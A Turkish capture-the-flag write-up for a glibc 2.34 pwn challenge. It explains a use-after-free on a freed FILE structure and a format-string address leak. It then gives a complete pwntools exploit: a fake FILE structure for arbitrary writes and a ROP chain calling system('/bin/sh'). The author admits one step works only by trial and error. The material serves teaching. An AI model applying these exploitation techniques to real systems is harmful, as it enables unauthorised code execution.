Özet #

Bu CTF sorusunda use-after-free ve format-string zafiyetleri bulunmaktadır. fclose ile bellekten düşürülen FILE* yapısı NULL’a eşitlenmemiştir. Bu yapı daha sonrasına fputs fonksiyonuna parametre olarak verilmiştir. ASLR yapısı ile değişkenlik gösteren bellek adresleri ise programın başında sorulan ve direkt format fonksiyonuna verilen input ile öğrenilmiştir.

Kullanılan LIBC versiyonu #

Yarışmada program ile beraber kullanılacak olan glibc versiyonu da beraberlinde verilmiştir: ld-2.34.so, libc.so.6 Bellek zafiyetinde bu libc versiyonuna göre hareket edeceğiz.

Program Çalışma Yapısı #

Program öncelikle bizden bir isim istiyor, bu isim sonrasında direkt olarak format fonksiyonuna girdi olarak veriliyor. Daha sonra bir döngü içerisinde bize 5 seçenek sunuyor.

  • [1] Arm Starshard Routine
  • [2] Attach Wish-Script Fragment
  • [3] Cancel Routine
  • [4] Commit Routine
  • [5] Quit

Bu seçenekler sırasıyla şu fonksiyonları çağırmaktadır: arm_routine, feed_fragment, cancel_routine, commit_routine. 5. seçenek ise bir fonksiyon çağırmamakta, döngüyü sonlandırmaktadır.

Zafiyetler #

Bir exploit oluşturmak için fonksiyonların tam olarak neler yaptığına bakmak gerekiyor. ilk fonksiyonumuz olan arm_routine fonksiyonunun IDA altındaki çıktısı bu şekildedir:

void __cdecl arm_routine()
{
  size_t v0; // rax
  int ch_0; // [rsp+4h] [rbp-Ch]
  size_t i; // [rsp+8h] [rbp-8h]

  console_state.core_log = fopen("starshard_core.txt", "a");
  if ( !console_state.core_log )
  {
    perror("fopen");
    exit(1);
  }
  setvbuf(console_state.core_log, 0LL, 2, 0LL);
  printf("Enter Starshard Routine Name: ");
  for ( i = 0LL; i <= 0x17; ++i )
  {
    ch_0 = fgetc(stdin);
    if ( ch_0 == -1 || ch_0 == '\n' )
      break;
    v0 = i;
    console_state.spell_name[v0] = ch_0;
  }
  printf("[*] Routine Armed — %s\n", console_state.spell_name);
}

Bu fonksiyona baktğımızda öncelikle fopen ile bir FILE1 yapısı ayırmaktadır, sonrasında setvbuf ile buffer’lamayı kapatmaktadır. Daha sonra kullanıcıdan bir isim alıp console_state.spell_name adresine koymaktadır.

Sonraki fonksiyonumuz olan feed_fragment fonksiyonunun IDA altındaki görüntüsü ise şu şekildedir:

void __cdecl feed_fragment()
{
  char size_str[16]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v1; // [rsp+18h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  if ( console_state.core_log )
  {
    console_state.spell_fragment = 0LL;
    console_state.fragment_sz = 0LL;
    printf("Wish-Script Fragment Size: ");
    memset(size_str, 0, sizeof(size_str));
    if ( fgets(size_str, 16, stdin) )
    {
      console_state.fragment_sz = strtoull(size_str, 0LL, 10);
      if ( console_state.fragment_sz <= 500 )
      {
        console_state.spell_fragment = (char *)malloc(console_state.fragment_sz);
        if ( !console_state.spell_fragment )
        {
          perror("malloc");
          exit(1);
        }
        puts("Input Wish-Script Fragment:");
        if ( fgets(console_state.spell_fragment, LODWORD(console_state.fragment_sz) - 1, stdin) )
          puts("[*] Fragment Stored.");
        else
          puts("[!] Fragment input error.");
      }
      else
      {
        puts("[!] Fragment exceeds safe sparkle limit.");
      }
    }
    else
    {
      puts("[!] Invalid input.");
    }
  }
  else
  {
    puts("[!] No active Starshard routine.");
  }
}

Bu fonksiyon çok daha uzun, ancak yaptığı şey basit. Eğer bir core_log açıldıysa, 500’dan az olmak şartıyla kullanıcının belirttiği boyutta bellek bölgesini malloc ile ayırmaktadır. Ayırdığı bölgeye ise kullanıcıdan aldığı girdiyi yazmaktadır. Bir incelik olarak ise önceki yazılan pointer’i free’lememektedir.

Bir sonraki fonksiyonumuz olan cancel_routine fonksiyonuna baktığımızda ise:

void __cdecl cancel_routine()
{
  if ( console_state.core_log )
  {
    fclose(console_state.core_log);
    puts("[*] Routine Cancelled.");
  }
  else
  {
    puts("[!] No active routine.");
  }
}

Eğer bir core_log yapısı varsa bunu fclose ile kapatmaktadır. Sorun şu ki sonrasında pointer’i 0’a eşitlememektedir. Bu bir zafiyet oluşturmaktadır, biz de bu zafiyeti kullanacağız.

Son fonksiyonumuz commit_routine ise şu şekildedir:

void __cdecl commit_routine()
{
  if ( console_state.core_log )
  {
    fputs(console_state.spell_fragment, console_state.core_log);
    puts("[*] Routine Committed to Starshard Core.");
  }
  else
  {
    puts("[!] No active routine.");
  }
}

Bu fonksiyon ise eğer core_log yapısı bulunmaktaysa fputs2 foknisyonu ile spell_fragment stringimizi core_log isimli stream’e yazmaktadır.

Exploit #

Elimizde nur topu gibi iki exploit bulunmaktadır:

  • Memory Write
  • Format String

Bu ikisini kullanarak programın akışını ele geçireceğiz

Memory Write #

Öncelikle mevcut use-after-free zafiyetinden yararlanarak memory’ye isteiğimiz yere yazma işlemi gerçekteştirebiliyoruz. Yapmamız gereken şey önce ise sırasıyla:

  • arm_routine ile core_log yapısı allocate etmek
  • cancel_routine ile bu memory adresini free’lemek (pointer free edilmiş yeri işaret ediyor)
  • feed_fragment ile FILE yapısı büyüklüğünde (yaklaşık 460 byte) ve yapısında allocation yapıyoruz.
    • Bu kısımda bu yapıya yazacağımız veri, bir FILE yapısı oluşturmalıdır.
    • Bu yapıyı oluşturmak için önemli değişkenler FILE yapısındaki _flags değişkeni ve buffer pointer’leri olacaktır.
    • Öncelikle kaynak kodunda da belirtildiği üzere ‘High-order word is _IO_MAGIC’ olması gerekmektedir, diğer flag’ları ise tekrardan kaynak kodundan erişebiliriz3.
    • _IO_write_base, _IO_write_ptr, _IO_buf_base değişkenlerine yazmak istediğimiz adresin başlangıcını yazıyoruz.
    • _IO_write_end, _IO_buf_end değişkenlerine ise yazacağımız adres + verinin boyutunu yazıyoruz.
  • Bu yapıyı yazdıktan sonra artık core_log adresinin gösterdiği yerde istediğimiz yere yazabileceğimiz bir FILE yapısı bulunmaktadır.
  • Yazmak istediğimiz veriyi ise feed_fragment fonkisyonunu tekrar kullanarak bir buffer’a yazıyoruz.
  • İki kere commit_routine fonksiyonunu çağırıyoruz ve bu sayede istediğimiz veriyi yazmak istediğmiiz adrese yazabiliyoruz.

📝 Not

Açıkçası neden iki commit çağırdığımızı bilmiyorum, bir kere çağırdığımda çalışmıyordu, rastgele denemeler yaparken bu fonksiyonu iki kere çağırdığımda çalıştığını fark ettim.

Bu özellikleri sağlayan bir payload oluşturan python kodu ise şu şekildedir:

def generate_file_for_addr_write(addr, buflen):
    payload  = b""
    
    # 0x00: _flags  (appending, writable)
    payload += p64(0xfbad0000)
    
    # 0x08–0x18: read pointers (önemsiz)
    payload += p64(0) * 3
    
    # 0x20: _IO_write_base
    payload += p64(addr)
    
    # 0x28: _IO_write_ptr
    payload += p64(addr + buflen)
    
    # 0x30: _IO_write_end
    payload += p64(addr + buflen)
    
    # 0x38: _IO_buf_base
    payload += p64(addr)
    
    # 0x40: _IO_buf_end
    payload += p64(addr + buflen)
    
    # 0x48–0x68: save / markers / chain (önemsiz)
    payload += p64(0) * 4
    
    # 0x70: _fileno
    payload += p64(0)

    return payload

Format String #

Programın en başında bize sorulan isim girdisi direkt olarak format fonksiyonuna verildiği için direkt olarak programın stack, base ve libc adreslerini elde edebiliyoruz.

  printf("Tinselwick Tinkerer Name: ");
  if ( fgets(console_state.tinkerer_name, 16, stdin) )
  {
    console_state.tinkerer_name[strcspn(console_state.tinkerer_name, "\n")] = 0;
    printf("=== Welcome ");
    printf(console_state.tinkerer_name);
    puts(" — Starshard Console ===");

Burada :%p:%10$p:%29$p inputunu kullanarak sırasıyla stack, binary base ve glibc base adreslerini çıkarabiliyoruz.

p.recvuntil(b"Tinkerer Name: ")
p.sendline(b":%p:%10$p:%29$p")

addreseses = p.recvuntil(b"rd Consol").split(b':')
log.info(f"addreseses: {addreseses}")
ptr = int(addreseses[1], 16)
bin_base = int(addreseses[2], 16) - 0x40
glibc_base = int(addreseses[3][0:14], 16) - 0x207d - 0x2c000

Shell #

Artık shell elde etmek için ihtiyacımız olan her şeye sahibiz. Bir ROP chain kurarak libc içindeki system fonksiyonunu /bin/sh string’i ile çağıracağız. Bunun için programın main loop’tan çıktıktan sonraki return adresini hesaplayıp o adrese bir ROP yerleştiriyoruz. Yerleştirdiğimiz ROP şu şekilde:

  • RET;
  • POP RDI; RET
  • BINSH_STR
  • SYSTEM_ADDR

Bu sayede program main fonksiyonunda dönmeye çalıştığında öncelikle stack alignment için bir ret yapacak, sonra POP RDI; RET ile stack’taki son olan /bin/sh string adresini RDI‘a alıp system fonksiyonuna dönecek.

Bu şekilde sistem üzerinde shell elde ediyoruz.

Tüm exp.py ise şu şekildedir:

#!/usr/bin/env python3

from pwn import *

p = process("./starshard_core")

context.binary = "./starshard_core"
context.gdb_binary = "pwndbg"
if args.TMUX:
    context.terminal = ['tmux', 'split-pane', '-h']
if args.GDB:
    gdb.attach(p)

def next_prompt():
    p.recvuntil(b"> ")

def arm(name: bytes):
    next_prompt()
    p.sendline(b"1")
    p.recvuntil(b"Name: ")
    p.sendline(name)

def feed_frac(size: int, buf: bytes):
    next_prompt()
    p.sendline(b"2")
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    p.sendline(buf)

def cancel():
    next_prompt()
    p.sendline(b"3")

def commit():
    next_prompt()
    p.sendline(b"4")

def finish():
    next_prompt()
    p.sendline(b"5")

def generate_file_for_addr_write(addr, buflen):
    payload  = b""
    
    # 0x00: _flags
    payload += p64(0xfbad0000)
    
    # 0x08–0x18: read pointers (önemsiz)
    payload += p64(0) * 3
    
    # 0x20: _IO_write_base
    payload += p64(addr)
    
    # 0x28: _IO_write_ptr
    payload += p64(addr + buflen)
    
    # 0x30: _IO_write_end
    payload += p64(addr + buflen)
    
    # 0x38: _IO_buf_base
    payload += p64(addr)
    
    # 0x40: _IO_buf_end
    payload += p64(addr + buflen)
    
    # 0x48–0x68: save / markers / chain (önemsiz)
    payload += p64(0) * 4
    
    # 0x70: _fileno
    payload += p64(0)

    return payload

def write_to_addr(addr, buf: bytes):
    arm(b"/bin/sh")
    cancel()
    feed_frac(460, generate_file_for_addr_write(addr, len(buf)))
    feed_frac(len(buf), buf)
    commit()
    commit() # neden iki kere hiçbir fikrim yok, rastgele denerken oldu

p.recvuntil(b"Tinkerer Name: ")
p.sendline(b":%p:%10$p:%29$p")

addreseses = p.recvuntil(b"rd Consol").split(b':')
log.info(f"addreseses: {addreseses}")
ptr = int(addreseses[1], 16)
bin_base = int(addreseses[2], 16) - 0x40
glibc_base = int(addreseses[3][0:14], 16) - 0x207d - 0x2c000

console_state_var_off = 0x4060
console_state_spell_name_off = 0x10

libc_system_off = 0x54AD0
libc_system_addr = libc_system_off + glibc_base
libc_ret_off = 0x2c7a9
libc_ret_addr = glibc_base + libc_ret_off

# ROP
libc_pop_rdi_ret = 0x2e6c5
libc_pop_rdi_ret_addr = glibc_base + libc_pop_rdi_ret
binsh_str = bin_base + console_state_var_off + console_state_spell_name_off

log.success(f"Leaked pointer: {hex(ptr)}")
log.success(f"Binary Base: {hex(bin_base)}")
log.success(f"glibc base: {hex(glibc_base)}")

libc_ret_main_diff = 0x2138
ret_addr_ptr = ptr + libc_ret_main_diff
log.info(f"libc_ret_off: {hex(libc_ret_main_diff)}")

log.info(f"RET ADDR PTR: {hex(ret_addr_ptr)}")

log.info(f"libc ret addr: {hex(libc_ret_addr)}")
log.info(f"libc pop rdi ret: {hex(libc_pop_rdi_ret_addr)}")
log.info(f"binsh str: {hex(binsh_str)}")
log.info(f"libc system: {hex(libc_system_addr)}")
write_to_addr(ret_addr_ptr,      p64(libc_ret_addr))
write_to_addr(ret_addr_ptr + 8,  p64(libc_pop_rdi_ret_addr))
write_to_addr(ret_addr_ptr + 16, p64(binsh_str))
write_to_addr(ret_addr_ptr + 24, p64(libc_system_addr))

finish()
p.sendline(b"cat flag.txt")

p.interactive()

Kaynakça #


  1. GNU C Library (glibc) — struct _IO_FILE
    https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/bits/types/struct_FILE.h#L49 ↩︎

  2. GNU C Library (glibc) — extern int fputs __P ((__const char *__restrict __s, FILE *__restrict __stream)); https://elixir.bootlin.com/glibc/glibc-2.0.99/source/stdio/fputs.c#L26 ↩︎

  3. GNU C Library (glibc) — _IO flags https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/libio.h#L67 ↩︎